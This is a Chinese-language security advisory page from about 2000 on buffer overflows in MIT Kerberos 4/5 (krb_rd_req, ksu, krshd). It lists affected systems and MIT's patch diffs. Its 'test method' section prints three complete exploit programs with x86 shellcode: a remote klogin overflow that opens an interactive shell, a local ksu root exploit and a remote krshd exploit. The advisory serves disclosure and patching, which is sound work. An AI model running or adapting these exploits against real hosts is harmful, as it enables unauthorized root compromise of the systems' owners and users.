安全研究

安全漏洞
Kerberos 4/5  krb_rd_req() 缓冲区溢出漏

发布日期:2000-05-18
更新日期:2000-05-21

受影响系统:
Cygnus Cygnus Network Security 4.0.x
Cygnus KerbNet 5.0.x
MIT Kerberos 4 4.0 patch 10
MIT Kerberos 5 5.0-1.1.1
MIT Kerberos 5 5.0-1.0.x
不受影响系统:
KTH Heimdal 0.2a-t
KTH Heimdal 0.1a-m
KTH Heimdal .a-u
KTH Kerberos 4 1.0.x
描述:
在MIT Kerberos 4的一个库函数krb_rd_req()中存在一个缓冲区溢出漏洞。因此
MIT Kerberos 5中使用了与Kerberos 4兼容代码的部分也存在此漏洞。这个函数
在很多基于Kerberos认证的地方都被使用。攻击者可能利用这个漏洞远程获取
root权限。

目前使用krb_rd_req()并可被远程攻击的程序主要有:

        krshd
        klogind (如果接受 Kerberos 4认证方式的话 )
        telnetd (如果接受 Kerberos 4认证方式的话)
        ftpd (if 如果接受 Kerberos 4认证方式的话)
        rkinitd
        kpopd

缺省v4rcp程序被设置了setuid位,它也调用了krb_rd_req()函数,本地用户
可能利用这个漏洞获取root权限。

在某些MIT Kerberos 5版本中的ksu程序也可以被用来得到本地root权限。
这个问题在krb5-1.1.1和krb5-1.0.7-beta1中被修复,更低的版本可能是
有问题的。

MIT Kerberos 5所带的krshd存在另外一个缓冲区溢出问题,也可能导致远程获取
root权限。

<* 来源: Jim Paris <jim@jtan.com>
          Jeffrey I. Schiller <jis@MIT.EDU>
*>          




测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

======================== klogn.c ====================================
/*

    klogin remote buffer overflow
    by duke (duke@viper.net.au)

    tested on BSDI 4.0.1 klogin.
    The bug is actually in the kerberos library so this
    affects all kerb services (kerbIV). This code should need
    minimal (if any) modification to use on other kerberos services.
    it will only work if the file /etc/kerberosIV/krb.conf exists.

    -duke

*/

#include <stdio.h>
#include <string.h>
#include <netdb.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/select.h>
#include <netinet/in.h>

#define RET 0x8047830
#define NOPLEN 900
#define MAX(x, y) ((x > y) ? x : y)

char bsdi_shell[]=
"\xeb\x1f\x5e\x31\xc0\x89\x46\xf5\x88\x46\xfa\x89\x46\x0c\x89\x76"
"\x08\x50\x8d\x5e\x08\x53\x56\x56\xb0\x3b\x9a\xff\xff\xff\xff\x07"
"\xff\xe8\xdc\xff\xff\xff/bin/sh\x00";

void usage(char *);
void shell(int);
char *make_data(void);

int offset=0;

int main(int argc, char **argv)
{
  int sockfd, port=543, c;
  char *pkt, buf[1024];
  struct sockaddr_in sin;
  struct hostent *hp;

  while((c = getopt(argc, argv, "p:o:")) != EOF){
    switch(c){
      case 'p': port = atoi(optarg); break;
      case 'o': offset = atoi(optarg); break;
      default: usage(argv[0]);
    }
  }
  if(!argv[optind])
    usage(argv[0]);
  if((hp = gethostbyname(argv[optind])) == NULL){
    fprintf(stderr, "can't resolve host\n");
    exit(-1);
  }
  pkt = make_data();
  bzero(&sin, sizeof(sin));
  sin.sin_family = AF_INET;
  sin.sin_port = htons(port);
  sin.sin_addr = *((struct in_addr *)hp->h_addr_list[0]);
  if((sockfd=socket(AF_INET, SOCK_STREAM, 0)) < 0){
    perror("socket");
    exit(-1);
  }
  if(connect(sockfd, (struct sockaddr *)&sin, sizeof(sin)) < 0){
    perror("connect");
    exit(-1);
  }
  write(sockfd, pkt, 1221);
  free(pkt);
  shell(sockfd);
}

void usage(char *p)
{
  fprintf(stderr, "usage: %s [ -p port ] [ -o offset ] <hostname>\n", p);
  fprintf(stderr, "-p: port to use\n");
  fprintf(stderr, "-o: offset\n");
  exit(0);
}

char *make_data(void)
{
  char *tmp, *ptr;
  int i;
  if((tmp=(char *)calloc(1250, sizeof(char))) == NULL){
    perror("calloc");
    exit(-1);
  }
  ptr = tmp;
  *ptr++ = 0x00;
  memcpy(ptr, "AUTHV0.1", 8);
  ptr+=8;
  for(i=0; i<8; i++)
    *ptr++ = 0x41;
  *(unsigned long *)ptr = htonl(1200);
  ptr+=4;
  *(unsigned int *)ptr++ = 4;
  *ptr++ = 8;
  *ptr++ = 1;
  for(i=0; i < 600; i+=4)
    *(long *)&ptr[i] = RET + offset;
  memset(ptr+300, 0x90, NOPLEN);
  memcpy(ptr+800, bsdi_shell,
  sizeof(bsdi_shell));
  *(ptr+1000) = 0x00;
  return(tmp);
}

void shell(int sock)
{
  fd_set rset;
  char bu[1024];

  write(sock, "cd /; id; pwd; uname -a;\n", 25);

  FD_ZERO(&rset);
  for(;;){
    FD_SET(fileno(stdin), &rset);
    FD_SET(sock, &rset);
    if(select(MAX(sock, fileno(stdin))+1, &rset, NULL, NULL, NULL) < 0){
      perror("select");
      exit(-1);
    }
    if(FD_ISSET(sock, &rset)){
      char buf[1024];
      int n;

      bzero(buf, sizeof(buf));
      n = read(sock, buf, sizeof(buf)-1);
      if(n == 0){
        printf("EOF from server\n");
        exit(0);
      }
      if(n < 0){
        perror("read");
        exit(-1);
      } else {
        write(1, buf, n);
      }
    }

    if(FD_ISSET(fileno(stdin), &rset)){
      char buf[1024];

      bzero(buf, sizeof(buf));
      if(fgets(buf, sizeof(buf)-4, stdin) == NULL){
        printf("OK. Quitting\n");
        close(sock);
        exit(0);
      }
      strcat(buf, "\n");
      if(write(sock, buf, strlen(buf)) < 0){
        perror("write");
        exit(0);
      }
    }
  }
}

======================== ksux.c ====================================
/********
* ksux.c -- ksu exploit
* written January 26, 2000
* Jim Paris <jim@jtan.com>
*
* This program exploits a vulnerability in the 'ksu' utility included
* with the MIT Kerberos distribution.  Versions prior to 1.1.1 are
* vulnerable.
*
* This exploit is for Linux/x86 with Kerberos version 1.0.  Exploits
* for other operating systems and versions of Kerberos should also work.
*
* Since krb5_parse_name will reject input with an @ or /, this shellcode
* execs 'sh' instead of '/bin/sh'.  As a result, a copy of 'sh' must
* reside in the current directory for the exploit to work.
*
*/

#include <stdlib.h>
#include <stdio.h>

int get_esp(void) { __asm__("movl %esp,%eax"); }

char *shellcode="\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x02\x89\x46"
                "\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
                "\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xffsh";

#define         LEN 0x300
#define  RET_OFFSET 0x240
#define  JMP_OFFSET 0x240
#define CODE_OFFSET 0x100

int main(int argc, char *argv[])
{
  int esp=get_esp();
  int i,j; char b[LEN];

  memset(b,0x90,LEN);
  memcpy(b+CODE_OFFSET,shellcode,strlen(shellcode));
  *(int *)&b[RET_OFFSET]=esp+JMP_OFFSET;
  b[RET_OFFSET+4]=0;

  execlp("ksu","ksu","-n",b,NULL);
}
======================== kshux.c ====================================
/********
* kshux.c -- krshd remote exploit
* written April 8, 2000
* Jim Paris <jim@jtan.com>
*
* This program exploits a vulnerability in the 'krshd' daemon included
* with the MIT Kerberos distribution.  All versions are apparently
* vulnerable.
*
* This exploit is for Linux/x86 with Kerberos version 1.0, but you'll
* probably need a fair bit of coaxing to get it to work.
*
* And yes, it's ugly.  I need to accept an incoming connection from the
* remote server, handle the fact that the overflow goes through two
* functions and a toupper(), make sure that certain overwritten pointers
* on the remote host's stack are set to valid values so that a strlen
* call in krb425_conv_principal() doesn't cause a segfault before we
* return into the shellcode, adjust the offset depending on the remote
* hostname to properly align things, etc etc.  As a result, you'll
* probably have a hard time getting this to work -- it took a lot of
* hacking and hardcoded numbers to get this to work against my test
* systems.
*
*/

#include <stdio.h>
#include <sys/types.h>
#include <netdb.h>
#include <time.h>
#include <netinet/in.h>

#define LEN 1200
#define OFFSET 0
#define ADDR 0xbfffd7a4

char *sc="\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46"
         "\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
         "\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";

void get_incoming(int r) {
  int s, l=1; struct sockaddr_in sa, ra;
  bzero(&sa,sizeof(sa));
  sa.sin_family=AF_INET;
  sa.sin_addr.s_addr=htonl(INADDR_ANY);
  sa.sin_port=htons(16474);
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==-1)
    perror("socket"),exit(1);
  setsockopt(s,SOL_SOCKET,SO_REUSEADDR,&l,sizeof(l));
  if(bind(s,(struct sockaddr *)&sa,sizeof(sa))<0)
    perror("bind"),exit(1);
  if(listen(s,1))
    perror("listen"),exit(1);
  write(r,"16474",6);
  if(accept(s,&sa,&l)<0)
    perror("accept"),exit(1);
}

int con_outgoing(char *h) {
  int s, i; struct sockaddr_in a; struct hostent *e;
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==-1)
    perror("socket"),exit(1);
  if((i=inet_addr(h))==INADDR_NONE) {
    if((e=gethostbyname(h))==NULL)
      perror("gethostbyname"),exit(1);
    bcopy(e->h_addr,&i,sizeof(i)); }
  bzero(&a,sizeof(a));
  a.sin_family=AF_INET;
  a.sin_addr.s_addr=i;
  a.sin_port=htons(544);
  if(connect(s,(struct sockaddr *)&a,sizeof(a))<0)
    perror("connect"),exit(1);
  return s;
}

void bus(int s) {
  int i; fd_set r; char b[1024];
  for(;;) {
    FD_ZERO(&r); FD_SET(0,&r); FD_SET(s,&r);
    if((i=select(s+1,&r,NULL,NULL,NULL))==-1)
      perror("select"),exit(1);
    if(i==0) fprintf(stderr,"closed\n"),exit(0);
    if(FD_ISSET(s,&r)) {
      if((i=read(s,b,sizeof(b)))<1)
    fprintf(stderr,"closed\n"),exit(0);
      write(1,b,i); }
    if(FD_ISSET(0,&r)) {
      if((i=read(0,b,sizeof(b)))<1)
    fprintf(stderr,"closed\n"),exit(0);
      write(s,b,i); } }
}

void main(int ac, char *av[])
{
  int s, i, j, a=ADDR, o=OFFSET;
  int l, h;
  char b[LEN];

  if(ac<2) {
    fprintf(stderr,"%s hostname [addr] [offset]\n",*av);
    exit(1);
  }
  a+=(ac>2)?atoi(av[2]):0;
  o+=(ac>3)?atoi(av[3]):(4-(strlen(av[1])%4));
  o%=4;
  if(o<0) o+=4;
  l=(ac>4)?atoi(av[4]):-10;
  h=(ac>5)?atoi(av[5]):10;
  fprintf(stderr,"addr=%p, offset=%d\n",a,o);

  if(isupper(((char *)&a)[0]) ||
     isupper(((char *)&a)[1]) ||
     isupper(((char *)&a)[2]) ||
     isupper(((char *)&a)[3]))
    fprintf(stderr,"error: addr contains uppercase\n"),exit(0);

  s=con_outgoing(av[1]);
  get_incoming(s);

  sprintf(&b[0],"AUTHV0.1blahblah");
  *(int *)(b+16)=htonl(LEN);
  b[20]=4; b[21]=7; b[22]=123;
  write(s,b,23);

  for(i=0;i<LEN-8-strlen(sc)-1;i++) b[i]=0x90;
  bcopy(sc,b+i,strlen(sc)+1);
  for(i=LEN-8;i<LEN;i++) b[i]=0x00;

  for(i=255+o+l*4;i<=255+o+h*4;i+=4) *(int *)(b+i)=(a-4);
  *(int *)(b+251+o)=a;

  write(s,b,LEN);

  bus(s);
}


建议:
MIT 不久将会发布krb5-1.2, 在这个版本中将修补所有的这些问题。

MIT也提供了对MIT Kerberos 5 5.0-1.0.x和MIT Kerberos 5 5.0-1.1.1的补丁程序:
( 您可以从下列地址下载:
  http://www.cert.org/advisories/CA-2000-06/mit_10x_patch.txt
  http://www.cert.org/advisories/CA-2000-06/mit_111_patch.txt
)
MIT patch krb5-1.0.x:

Index: appl/bsd/krshd.c
===================================================================
RCS file: /cvs/krbdev/krb5/src/appl/bsd/krshd.c,v
retrieving revision 5.66.2.6
diff -c -r5.66.2.6 krshd.c
*** krshd.c     1999/03/09 00:27:31     5.66.2.6
- --- krshd.c     2000/04/29 02:58:52
***************
*** 1469,1483 ****
          strcpy((char *) cmdbuf + offst, kprogdir);
        cp = copy + 3 + offst;

        if (auth_sys == KRB5_RECVAUTH_V4) {
!         strcat(cmdbuf, "/v4rcp");
        } else {
!         strcat(cmdbuf, "/rcp");
        }
        if (stat((char *)cmdbuf + offst, &s) >= 0)
!         strcat(cmdbuf, cp);
        else
!         strcpy(cmdbuf, copy);
        free(copy);
      }
  #endif
- --- 1469,1484 ----
          strcpy((char *) cmdbuf + offst, kprogdir);
        cp = copy + 3 + offst;

+       cmdbuf[sizeof(cmdbuf) - 1] = '\0';
        if (auth_sys == KRB5_RECVAUTH_V4) {
!         strncat(cmdbuf, "/v4rcp", sizeof(cmdbuf) - 1 - strlen(cmdbuf));
        } else {
!         strncat(cmdbuf, "/rcp", sizeof(cmdbuf) - 1 - strlen(cmdbuf));
        }
        if (stat((char *)cmdbuf + offst, &s) >= 0)
!         strncat(cmdbuf, cp, sizeof(cmdbuf) - 1 - strlen(cmdbuf));
        else
!         strncpy(cmdbuf, copy, sizeof(cmdbuf) - 1 - strlen(cmdbuf));
        free(copy);
      }
  #endif
Index: lib/krb4/kuserok.c
===================================================================
RCS file: /cvs/krbdev/krb5/src/lib/krb4/kuserok.c,v
retrieving revision 1.3
diff -c -r1.3 kuserok.c
*** kuserok.c   1996/01/27 06:06:22     1.3
- --- kuserok.c   2000/04/29 02:59:02
***************
*** 115,122 ****
      if ((pwd = getpwnam(luser)) == NULL) {
        return(NOTOK);
      }
!     (void) strcpy(pbuf, pwd->pw_dir);
!     (void) strcat(pbuf, "/.klogin");

      if (access(pbuf, F_OK)) {  /* not accessible */
        /*
- --- 115,125 ----
      if ((pwd = getpwnam(luser)) == NULL) {
        return(NOTOK);
      }
!     if (strlen (pwd->pw_dir) + sizeof ("/.klogin") >= sizeof (pbuf))
!       return NOTOK;
!     (void) strncpy(pbuf, pwd->pw_dir, sizeof(pbuf) - 1);
!     pbuf[sizeof(pbuf) - 1] = '\0';
!     (void) strncat(pbuf, "/.klogin", sizeof(pbuf) - 1 - strlen(pbuf));

      if (access(pbuf, F_OK)) {  /* not accessible */
        /*
Index: lib/krb4/rd_req.c
===================================================================
RCS file: /cvs/krbdev/krb5/src/lib/krb4/rd_req.c,v
retrieving revision 1.4
diff -c -r1.4 rd_req.c
*** rd_req.c    1996/02/24 14:29:26     1.4
- --- rd_req.c    2000/04/29 02:59:02
***************
*** 155,160 ****
- --- 155,162 ----
                                   Kerberos used to encrypt ticket */
      int status;

+     tkt->mbz = req_id->mbz = 0;
+
      if (authent->length <= 0)
        return(RD_AP_MODIFIED);

***************
*** 190,197 ****
          mutual = 0;
  #endif /* lint */
      s_kvno = *ptr++;          /* get server key version */
!     (void) strcpy(realm,ptr);   /* And the realm of the issuing KDC */
!     ptr += strlen(ptr) + 1;     /* skip the realm "hint" */

      /*
       * If "fn" is NULL, key info should already be set; don't
- --- 192,200 ----
          mutual = 0;
  #endif /* lint */
      s_kvno = *ptr++;          /* get server key version */
!     (void) strncpy(realm,ptr,REALM_SZ);       /* And the realm of the issuing KDC */
!     realm[REALM_SZ-1] = '\0';
!     ptr += strlen(realm) + 1; /* skip the realm "hint" */

      /*
       * If "fn" is NULL, key info should already be set; don't
***************
*** 277,289 ****
  #define check_ptr() if ((ptr - (char *) req_id->dat) > req_id->length) return(RD_AP_MODIFIED);

      ptr = (char *) req_id->dat;
!     (void) strcpy(r_aname,ptr);       /* Authentication name */
      ptr += strlen(r_aname)+1;
      check_ptr();
!     (void) strcpy(r_inst,ptr);        /* Authentication instance */
      ptr += strlen(r_inst)+1;
      check_ptr();
!     (void) strcpy(r_realm,ptr);       /* Authentication name */
      ptr += strlen(r_realm)+1;
      check_ptr();
      memcpy((char *)&ad->checksum, ptr, 4);    /* Checksum */
- --- 280,295 ----
  #define check_ptr() if ((ptr - (char *) req_id->dat) > req_id->length) return(RD_AP_MODIFIED);

      ptr = (char *) req_id->dat;
!     (void) strncpy(r_aname,ptr,ANAME_SZ); /* Authentication name */
!     r_aname[ANAME_SZ-1] = '\0';
      ptr += strlen(r_aname)+1;
      check_ptr();
!     (void) strncpy(r_inst,ptr,INST_SZ);       /* Authentication instance */
!     r_inst[INST_SZ-1] = '\0';
      ptr += strlen(r_inst)+1;
      check_ptr();
!     (void) strncpy(r_realm,ptr,REALM_SZ); /* Authentication name */
!     r_realm[REALM_SZ-1] = '\0';
      ptr += strlen(r_realm)+1;
      check_ptr();
      memcpy((char *)&ad->checksum, ptr, 4);    /* Checksum */
Index: lib/krb5/krb/conv_princ.c
===================================================================
RCS file: /cvs/krbdev/krb5/src/lib/krb5/krb/conv_princ.c,v
retrieving revision 1.19.8.1
diff -c -r1.19.8.1 conv_princ.c
*** conv_princ.c        1999/02/07 00:52:01     1.19.8.1
- --- conv_princ.c        2000/04/29 02:59:04
***************
*** 243,249 ****
              if (retval == 0 && full_name && full_name[0]) {
                  instance = full_name[0];
              } else {
!                 strcpy(buf, instance);
                  retval = krb5_get_realm_domain(context, realm, &domain);
                  if (retval)
                      return retval;
- --- 243,250 ----
              if (retval == 0 && full_name && full_name[0]) {
                  instance = full_name[0];
              } else {
!                 strncpy(buf, instance, sizeof(buf));
!                 buf[sizeof(buf) - 1] = '\0';
                  retval = krb5_get_realm_domain(context, realm, &domain);
                  if (retval)
                      return retval;
***************
*** 251,258 ****
                      for (cp = domain; *cp; cp++)
                          if (isupper(*cp))
                              *cp = tolower(*cp);
!                     strcat(buf, ".");
!                     strcat(buf, domain);
                      krb5_xfree(domain);
                  }
                  instance = buf;
- --- 252,259 ----
                      for (cp = domain; *cp; cp++)
                          if (isupper(*cp))
                              *cp = tolower(*cp);
!                     strncat(buf, ".", sizeof(buf) - 1 - strlen(buf));
!                     strncat(buf, domain, sizeof(buf) - 1 - strlen(buf));
                      krb5_xfree(domain);
                  }
                  instance = buf;
Index: lib/krb5/os/kuserok.c
===================================================================
RCS file: /cvs/krbdev/krb5/src/lib/krb5/os/kuserok.c,v
retrieving revision 5.19
diff -c -r5.19 kuserok.c
*** kuserok.c   1996/06/12 05:15:02     5.19
- --- kuserok.c   2000/04/29 02:59:04
***************
*** 77,84 ****
      if ((pwd = getpwnam(luser)) == NULL) {
        return(FALSE);
      }
!     (void) strcpy(pbuf, pwd->pw_dir);
!     (void) strcat(pbuf, "/.k5login");

      if (access(pbuf, F_OK)) {  /* not accessible */
        /*
- --- 77,85 ----
      if ((pwd = getpwnam(luser)) == NULL) {
        return(FALSE);
      }
!     (void) strncpy(pbuf, pwd->pw_dir, sizeof(pbuf) - 1);
!     pbuf[sizeof(pbuf) - 1] = '\0';
!     (void) strncat(pbuf, "/.k5login", sizeof(pbuf) - 1 - strlen(pbuf));

      if (access(pbuf, F_OK)) {  /* not accessible */
        /*
Index: lib/krb5/posix/syslog.c
===================================================================
RCS file: /cvs/krbdev/krb5/src/lib/krb5/posix/syslog.c,v
retrieving revision 5.7
diff -c -r5.7 syslog.c
*** syslog.c    1996/06/12 05:16:04     5.7
- --- syslog.c    2000/04/29 02:59:04
***************
*** 115,121 ****
        (void)sprintf(tbuf, "<%d>%.15s ", pri, ctime(&now) + 4);
        for (p = tbuf; *p; ++p);
        if (LogTag) {
!               (void)strcpy(p, LogTag);
                for (; *p; ++p);
        }
        if (LogStat & LOG_PID) {
- --- 115,121 ----
        (void)sprintf(tbuf, "<%d>%.15s ", pri, ctime(&now) + 4);
        for (p = tbuf; *p; ++p);
        if (LogTag) {
!               (void)strncpy(p, LogTag, sizeof(tbuf) - 1 - (p - tbuf));
                for (; *p; ++p);
        }
        if (LogStat & LOG_PID) {
***************
*** 146,151 ****
- --- 146,156 ----
        }

        (void)vsprintf(p, fmt_cpy, ap);
+       /* Bounds checking??  If a system doesn't have syslog, we
+          probably can't rely on it having vsnprintf either.  Try not
+          to let a buffer overrun be exploited.  */
+       if (strlen (tbuf) >= sizeof (tbuf))
+         abort ();

        /* output the message to the local logger */
        if (send(LogFile, tbuf, cnt = strlen(tbuf), 0) >= 0 ||
***************
*** 169,175 ****
                if ((fd = open(CONSOLE, O_WRONLY, 0)) < 0)
                        return;
                (void)alarm((u_int)0);
!               (void)strcat(tbuf, "\r");
                p = strchr(tbuf, '>') + 1;
                (void)write(fd, p, cnt + 1 - (p - tbuf));
                (void)close(fd);
- --- 174,181 ----
                if ((fd = open(CONSOLE, O_WRONLY, 0)) < 0)
                        return;
                (void)alarm((u_int)0);
!               tbuf[sizeof(tbuf) - 1] = '\0';
!               (void)strncat(tbuf, "\r", sizeof(tbuf) - 1 - strlen(tbuf));
                p = strchr(tbuf, '>') + 1;
                (void)write(fd, p, cnt + 1 - (p - tbuf));
                (void)close(fd);


MIT patch krb5-1.1.1:


Index: appl/bsd/krshd.c
===================================================================
RCS file: /cvs/krbdev/krb5/src/appl/bsd/krshd.c,v
retrieving revision 5.79.2.1
diff -c -r5.79.2.1 krshd.c
*** krshd.c     1999/08/23 18:55:10     5.79.2.1
- --- krshd.c     2000/04/29 03:00:38
***************
*** 1468,1482 ****
          strcpy((char *) cmdbuf + offst, kprogdir);
        cp = copy + 3 + offst;

        if (auth_sys == KRB5_RECVAUTH_V4) {
!         strcat(cmdbuf, "/v4rcp");
        } else {
!         strcat(cmdbuf, "/rcp");
        }
        if (stat((char *)cmdbuf + offst, &s) >= 0)
!         strcat(cmdbuf, cp);
        else
!         strcpy(cmdbuf, copy);
        free(copy);
      }
  #endif
- --- 1468,1483 ----
          strcpy((char *) cmdbuf + offst, kprogdir);
        cp = copy + 3 + offst;

+       cmdbuf[sizeof(cmdbuf) - 1] = '\0';
        if (auth_sys == KRB5_RECVAUTH_V4) {
!         strncat(cmdbuf, "/v4rcp", sizeof(cmdbuf) - 1 - strlen(cmdbuf));
        } else {
!         strncat(cmdbuf, "/rcp", sizeof(cmdbuf) - 1 - strlen(cmdbuf));
        }
        if (stat((char *)cmdbuf + offst, &s) >= 0)
!         strncat(cmdbuf, cp, sizeof(cmdbuf) - 1 - strlen(cmdbuf));
        else
!         strncpy(cmdbuf, copy, sizeof(cmdbuf) - 1 - strlen(cmdbuf));
        free(copy);
      }
  #endif
Index: lib/krb4/kuserok.c
===================================================================
RCS file: /cvs/krbdev/krb5/src/lib/krb4/kuserok.c,v
retrieving revision 1.5
diff -c -r1.5 kuserok.c
*** kuserok.c   1997/09/26 02:41:41     1.5
- --- kuserok.c   2000/04/29 03:00:53
***************
*** 118,125 ****
      if ((pwd = getpwnam(luser)) == NULL) {
        return(NOTOK);
      }
!     (void) strcpy(pbuf, pwd->pw_dir);
!     (void) strcat(pbuf, "/.klogin");

      if (access(pbuf, F_OK)) {  /* not accessible */
        /*
- --- 118,128 ----
      if ((pwd = getpwnam(luser)) == NULL) {
        return(NOTOK);
      }
!     if (strlen (pwd->pw_dir) + sizeof ("/.klogin") >= sizeof (pbuf))
!       return NOTOK;
!     (void) strncpy(pbuf, pwd->pw_dir, sizeof(pbuf) - 1);
!     pbuf[sizeof(pbuf) - 1] = '\0';
!     (void) strncat(pbuf, "/.klogin", sizeof(pbuf) - 1 - strlen(pbuf));

      if (access(pbuf, F_OK)) {  /* not accessible */
        /*
Index: lib/krb4/rd_req.c
===================================================================
RCS file: /cvs/krbdev/krb5/src/lib/krb4/rd_req.c,v
retrieving revision 1.9
diff -c -r1.9 rd_req.c
*** rd_req.c    1999/02/09 02:57:14     1.9
- --- rd_req.c    2000/04/29 03:00:53
***************
*** 184,189 ****
- --- 184,191 ----
      krb5_keyblock keyblock;
      int status;

+     tkt->mbz = req_id->mbz = 0;
+
      if (authent->length <= 0)
        return(RD_AP_MODIFIED);

***************
*** 219,226 ****
          mutual = 0;
  #endif /* lint */
      s_kvno = *ptr++;          /* get server key version */
!     (void) strcpy(realm,ptr);   /* And the realm of the issuing KDC */
!     ptr += strlen(ptr) + 1;     /* skip the realm "hint" */

      /*
       * If "fn" is NULL, key info should already be set; don't
- --- 221,229 ----
          mutual = 0;
  #endif /* lint */
      s_kvno = *ptr++;          /* get server key version */
!     (void) strncpy(realm,ptr,REALM_SZ);       /* And the realm of the issuing KDC */
!     realm[REALM_SZ-1] = '\0';
!     ptr += strlen(realm) + 1; /* skip the realm "hint" */

      /*
       * If "fn" is NULL, key info should already be set; don't
***************
*** 324,336 ****
  #define check_ptr() if ((ptr - (char *) req_id->dat) > req_id->length) return(RD_AP_MODIFIED);

      ptr = (char *) req_id->dat;
!     (void) strcpy(r_aname,ptr);       /* Authentication name */
      ptr += strlen(r_aname)+1;
      check_ptr();
!     (void) strcpy(r_inst,ptr);        /* Authentication instance */
      ptr += strlen(r_inst)+1;
      check_ptr();
!     (void) strcpy(r_realm,ptr);       /* Authentication name */
      ptr += strlen(r_realm)+1;
      check_ptr();
      memcpy((char *)&ad->checksum, ptr, 4);    /* Checksum */
- --- 327,342 ----
  #define check_ptr() if ((ptr - (char *) req_id->dat) > req_id->length) return(RD_AP_MODIFIED);

      ptr = (char *) req_id->dat;
!     (void) strncpy(r_aname,ptr,ANAME_SZ); /* Authentication name */
!     r_aname[ANAME_SZ-1] = '\0';
      ptr += strlen(r_aname)+1;
      check_ptr();
!     (void) strncpy(r_inst,ptr,INST_SZ);       /* Authentication instance */
!     r_inst[INST_SZ-1] = '\0';
      ptr += strlen(r_inst)+1;
      check_ptr();
!     (void) strncpy(r_realm,ptr,REALM_SZ); /* Authentication name */
!     r_realm[REALM_SZ-1] = '\0';
      ptr += strlen(r_realm)+1;
      check_ptr();
      memcpy((char *)&ad->checksum, ptr, 4);    /* Checksum */
Index: lib/krb5/krb/conv_princ.c
===================================================================
RCS file: /cvs/krbdev/krb5/src/lib/krb5/krb/conv_princ.c,v
retrieving revision 1.23.2.2
diff -c -r1.23.2.2 conv_princ.c
*** conv_princ.c        1999/10/12 23:16:58     1.23.2.2
- --- conv_princ.c        2000/04/29 03:00:55
***************
*** 234,240 ****
              if (retval == 0 && full_name && full_name[0]) {
                  instance = full_name[0];
              } else {
!                 strcpy(buf, instance);
                  retval = krb5_get_realm_domain(context, realm, &domain);
                  if (retval)
                      return retval;
- --- 234,241 ----
              if (retval == 0 && full_name && full_name[0]) {
                  instance = full_name[0];
              } else {
!                 strncpy(buf, instance, sizeof(buf));
!                 buf[sizeof(buf) - 1] = '\0';
                  retval = krb5_get_realm_domain(context, realm, &domain);
                  if (retval)
                      return retval;
***************
*** 242,249 ****
                      for (cp = domain; *cp; cp++)
                          if (isupper(*cp))
                              *cp = tolower(*cp);
!                     strcat(buf, ".");
!                     strcat(buf, domain);
                      krb5_xfree(domain);
                  }
                  instance = buf;
- --- 243,250 ----
                      for (cp = domain; *cp; cp++)
                          if (isupper(*cp))
                              *cp = tolower(*cp);
!                     strncat(buf, ".", sizeof(buf) - 1 - strlen(buf));
!                     strncat(buf, domain, sizeof(buf) - 1 - strlen(buf));
                      krb5_xfree(domain);
                  }
                  instance = buf;
Index: lib/krb5/os/kuserok.c
===================================================================
RCS file: /cvs/krbdev/krb5/src/lib/krb5/os/kuserok.c,v
retrieving revision 5.20.4.2
diff -c -r5.20.4.2 kuserok.c
*** kuserok.c   1999/09/23 00:50:45     5.20.4.2
- --- kuserok.c   2000/04/29 03:00:55
***************
*** 80,87 ****
      if ((pwd = getpwnam(luser)) == NULL) {
        return(FALSE);
      }
!     (void) strcpy(pbuf, pwd->pw_dir);
!     (void) strcat(pbuf, "/.k5login");

      if (access(pbuf, F_OK)) {  /* not accessible */
        /*
- --- 80,88 ----
      if ((pwd = getpwnam(luser)) == NULL) {
        return(FALSE);
      }
!     (void) strncpy(pbuf, pwd->pw_dir, sizeof(pbuf) - 1);
!     pbuf[sizeof(pbuf) - 1] = '\0';
!     (void) strncat(pbuf, "/.k5login", sizeof(pbuf) - 1 - strlen(pbuf));

      if (access(pbuf, F_OK)) {  /* not accessible */
        /*
Index: lib/krb5/posix/syslog.c
===================================================================
RCS file: /cvs/krbdev/krb5/src/lib/krb5/posix/syslog.c,v
retrieving revision 5.8
diff -c -r5.8 syslog.c
*** syslog.c    1998/07/17 20:39:43     5.8
- --- syslog.c    2000/04/29 03:00:55
***************
*** 115,121 ****
        (void)sprintf(tbuf, "<%d>%.15s ", pri, ctime(&now) + 4);
        for (p = tbuf; *p; ++p);
        if (LogTag) {
!               (void)strcpy(p, LogTag);
                for (; *p; ++p);
        }
        if (LogStat & LOG_PID) {
- --- 115,121 ----
        (void)sprintf(tbuf, "<%d>%.15s ", pri, ctime(&now) + 4);
        for (p = tbuf; *p; ++p);
        if (LogTag) {
!               (void)strncpy(p, LogTag, sizeof(tbuf) - 1 - (p - tbuf));
                for (; *p; ++p);
        }
        if (LogStat & LOG_PID) {
***************
*** 146,151 ****
- --- 146,156 ----
        }

        (void)vsprintf(p, fmt_cpy, ap);
+       /* Bounds checking??  If a system doesn't have syslog, we
+          probably can't rely on it having vsnprintf either.  Try not
+          to let a buffer overrun be exploited.  */
+       if (strlen (tbuf) >= sizeof (tbuf))
+         abort ();

        /* output the message to the local logger */
        if (send(LogFile, tbuf, cnt = strlen(tbuf), 0) >= 0 ||
***************
*** 169,175 ****
                if ((fd = open(CONSOLE, O_WRONLY, 0)) < 0)
                        return;
                (void)alarm((u_int)0);
!               (void)strcat(tbuf, "\r");
                p = strchr(tbuf, '>') + 1;
                (void)write(fd, p, cnt + 1 - (p - tbuf));
                (void)close(fd);
- --- 174,181 ----
                if ((fd = open(CONSOLE, O_WRONLY, 0)) < 0)
                        return;
                (void)alarm((u_int)0);
!               tbuf[sizeof(tbuf) - 1] = '\0';
!               (void)strncat(tbuf, "\r", sizeof(tbuf) - 1 - strlen(tbuf));
                p = strchr(tbuf, '>') + 1;
                (void)write(fd, p, cnt + 1 - (p - tbuf));
                (void)close(fd);


浏览次数:6842
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障